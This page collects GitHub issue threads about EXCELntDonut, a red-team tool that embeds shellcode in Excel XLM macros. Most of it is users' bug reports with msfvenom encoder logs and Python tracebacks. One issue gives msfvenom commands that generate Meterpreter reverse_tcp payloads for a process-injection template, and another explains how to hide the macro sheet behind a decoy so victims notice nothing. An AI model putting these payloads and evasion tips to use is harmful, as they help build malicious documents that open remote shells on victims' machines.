redsiege / excelntdonut Goto Github PK

I had an earlier version installed for testing and tried to install this one (install appears to have worked fine. But i get the following error when running script. I think the submodule isnt being downloaded (i did try to download it as well). But im not sure any help is appreciated.

`root@Kali: EXCELntDonut -f templates/processInjection.cs

| \ / / | | | _ __ | || _ \ ___ _ __ _ | |
| | \ / | | | | | | ' | | | | |/ _ | ' | | | | |
| | / \ || || || | | | || || | () | | | | || | |_
|//__||_|| ||_|___/ _/|| ||_,|__|
by @joeleonjr (@FortyNorthSec)
[i] Generating your x86 .NET assembly.
[i] Generating shellcode from x86 .NET assembly file.
[i] Removing null bytes from x86 shellcode with msfvenom
Attempting to read payload from STDIN...
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with Encoding failed due to a bad character (index=209, char=0x00)
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor failed with A key could not be found for the Call+4 Dword XOR Encoder encoder.
Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown failed with Encoding failed due to a bad character (index=72, char=0x00)
Attempting to encode payload with 1 iterations of x86/fnstenv_mov
x86/fnstenv_mov failed with A key could not be found for the Variable-length Fnstenv/mov Dword XOR Encoder encoder.
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive failed with Encoding failed due to a bad character (index=633, char=0x00)
Attempting to encode payload with 1 iterations of x86/xor_dynamic
x86/xor_dynamic succeeded with size 30683 (iteration=0)
x86/xor_dynamic chosen with final size 30683
Payload size: 30683 bytes
Saved as: _excelntdonut_NqeDGNigJTo2.bin
[i] Null bytes removed for x86.
[i] Generating your x64 .NET assembly.
[i] Generating shellcode from x64 .NET assembly file.
Traceback (most recent call last):
File "/usr/local/bin/EXCELntDonut", line 11, in
load_entry_point('EXCELntDonut', 'console_scripts', 'EXCELntDonut')()
File "/home/user/EXCELntDonut/EXCELntDonut/drive.py", line 77, in main
x64Shellcode, x64Size, x64Count = generateShellcode(args,'x64')
File "/home/user/EXCELntDonut/EXCELntDonut/drive.py", line 198, in generateShellcode
s = generateCLRvoyanceShellcode(randExeName)
File "/home/user/EXCELntDonut/EXCELntDonut/drive.py", line 524, in generateCLRvoyanceShellcode
bootstrap = open(path + "/CLRvoyance/sc-64-clr", 'rb').read()
FileNotFoundError: [Errno 2] No such file or directory: '/home/user/EXCELntDonut/EXCELntDonut/CLRvoyance/sc-64-clr'`

Nice tool! I've been playing with XLM for about a month now, i had started writing a generator but I'm glad you beat me to it; XLM is kind of a pain in the ass.

I noticed that because you use ACTIVE.CELL, this macro does not execute unless the macro sheet is open in the foreground when macros are enabled. This means you can't use a decoy sheet and you can't hide the macro sheet. This is problematic especially when you're using a Donut-serialized payload; my test pop calc.exe payload had over 9000 rows of shellcode, and took over a minute to run through the SELECT/ACTIVE.CELL/NEXT loop. I think this is a big problem if you're planning on using this in the field, as a user is probably going to notice this odd behavior.

An alternative to using ACTIVE.CELL is to use GET.CELL, since this does not appear to require the macro sheet to be in the foreground; I'll try to get a POC shellcode runner using GET.CELL instead of ACTIVE.CELL in this issue soon (unless this is a known issue and you already have another solution)

This payload works in an x86 Microsoft Excel document. It crashes in x64 excel while, it works if compiled as a .NET binary instead. Just checking if you've had any issues with x64 office macros or if I'm doing something wrong here. FWIW, it crashes before it pulls the shellcode.

https://gist.github.com/rvrsh3ll/ece9cb8160b161c908b53f4a52511517

Just playing with this project, and it seems to be the case that the templates/processInjection.cs template does not work out of the box. I've also had issues with other pretty basic C# code that just spawns another process. Is there some undocumented limitation here? For reference, templates/msg.cs seems to work fine, so I don't think it's anything to do with my workflow. It could however be a versioning issue, but I don't think so?

(venv) root@Kali:/opt/EXCELntDonut# pip freeze
donut-shellcode==0.9.2
numpy==1.19.2
pandas==1.1.3
python-dateutil==2.8.1
pytz==2020.1
six==1.15.0

I appreciate the work put into the project and any clarifications available :)

Using processinjection.cs.

Generated / //msfvenom -p windows/meterpreter/reverse_tcp LHOST=X LPORT=X EXITFUNC=thread -f csharp -a x86
Generated // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=X LPORT=X EXITFUNC=thread -f csharp -a x64

Output > excelntdonut.txt

Go to cell A1 and paste the EXCELntDonut output. All the data will likely be pasted in one column. The data is semi-colon separated ";". Go to the "Data" tab and then click "Text-to-columns". Select "Delimited" and on the next screen select "Semicolon" and then click "Finish".

Done

/

Not working finally, also when using obfuscate and sandbox formula is too long

Trying to step through the process using the included templates/msg.cs template, I get a seg fault apparently during shellcode generation for x64. I originally tried to use EXCELntDonut in a pipenv on an xubuntu vm, but got the same result on a kali vm using the recommended install. I am not ruling out that I am doing something wrong, either.

`kali@kali:~/src/EXCELntDonut$ EXCELntDonut -f templates/msg.cs -r System.Windows.Forms.dll

| \ / / | | | _ __ | || _ \ ___ _ __ _ | |
| | \ / | | | | | | ' | | | | |/ _ | ' | | | | |
| | / \ || || || | | | || || | () | | | | || | |_
|//__||_|| ||_|___/ _/|| ||_,|__|
by @joeleonjr (@FortyNorthSec)
[i] Generating your x86 .NET assembly.
[i] Generating shellcode from x86 .NET assembly file.
[i] Removing null bytes from x86 shellcode with msfvenom
Attempting to read payload from STDIN...
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with Encoding failed due to a bad character (index=901, char=0x00)
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor failed with A key could not be found for the Call+4 Dword XOR Encoder encoder.
Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown failed with Encoding failed due to a bad character (index=267, char=0x00)
Attempting to encode payload with 1 iterations of x86/fnstenv_mov
x86/fnstenv_mov failed with A key could not be found for the Variable-length Fnstenv/mov Dword XOR Encoder encoder.
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive failed with Encoding failed due to a bad character (index=63, char=0x00)
Attempting to encode payload with 1 iterations of x86/xor_dynamic
x86/xor_dynamic succeeded with size 26063 (iteration=0)
x86/xor_dynamic chosen with final size 26063
Payload size: 26063 bytes
Saved as: _excelntdonut_qoZkowlHO2.bin
[i] Null bytes removed for x86.
[i] Generating your x64 .NET assembly.
[i] Generating shellcode from x64 .NET assembly file.
Segmentation fault
kali@kali:~/src/EXCELntDonut$
`

Had a question regarding being able to choose the architecture type. It seems that no matter what type of architecture the payload is, the tool will trying compiling both the x86 version and x64 version which causes problems. For example, if I have a x64 based input file, it gives a seg fault when trying to mess with the x86 side of the code. Was just wondering if this was intentional or if I'm missing something. For now, I tried commenting out the x86 related pieces of code which seems to work but again just wanted to double check.

the shellcode which writen to memory changed to 0x20 if the ascii vaule >=0x80.

Hi,
Using EXCELntDonut on Kali with a standard distro installed, I generated a CSharp payload from PowerShell Empire and tried using this project to compile and embed it into an XLS. However, the compilation gives me this error:

The type or namespace name Automation' does not exist in the namespace System.Management'. Are you missing an assembly reference?

My command is as follows:
``
EXCELntDonut -f test.cs -r System.Windows.Forms.dll,System.Management --sandbox --obfuscate

The test program contains the following uses:

using System; using System.Text; using System.Management.Automation; using System.Management.Automation.Runspaces;

Adding "System.Management.Automation" to references doesn't work as the assembly doesn't seem to exist in the mono installation, and adding the assembly manually creates further problems with runspaces.
Is there something simple I'm missing?

So, i've tried to run a simple ransomware simulation using the ExcelntDonut framework. I've input a c# code which encrypts the given directory. Now, this code is running and executing properly on 32-bit Excel but not working on 64-bit Excel.